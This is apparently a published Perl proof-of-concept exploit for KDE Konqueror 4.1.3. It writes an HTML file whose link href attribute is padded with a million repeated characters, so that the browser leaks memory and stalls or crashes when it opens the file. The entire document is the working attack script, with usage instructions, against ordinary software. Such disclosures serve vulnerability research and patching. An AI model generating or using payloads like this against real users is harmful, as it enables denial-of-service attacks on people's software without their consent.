#!/usr/bin/perl # konq_lhref_ml.pl # KDE Konqueror 4.1.3 'link href' Memory Leak Exploit # Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com] # # Software should be able to handle any kind of input and still perform correct operations. # Webkit > KHTML -- stability-wise, anyways
$filename = $ARGV[0]; if(!defined($filename)) {
print "Usage: $0 <filename.html>\n";
}
$head = "<html>" . "\n"; $trig = "<link href = \"" . "A/" x 1000000 . "\";"; $foot = "\n" . "</html>";
$data = $head . $trig . $foot;
open(FILE, '>' . $filename); print FILE $data; close(FILE);
exit;
|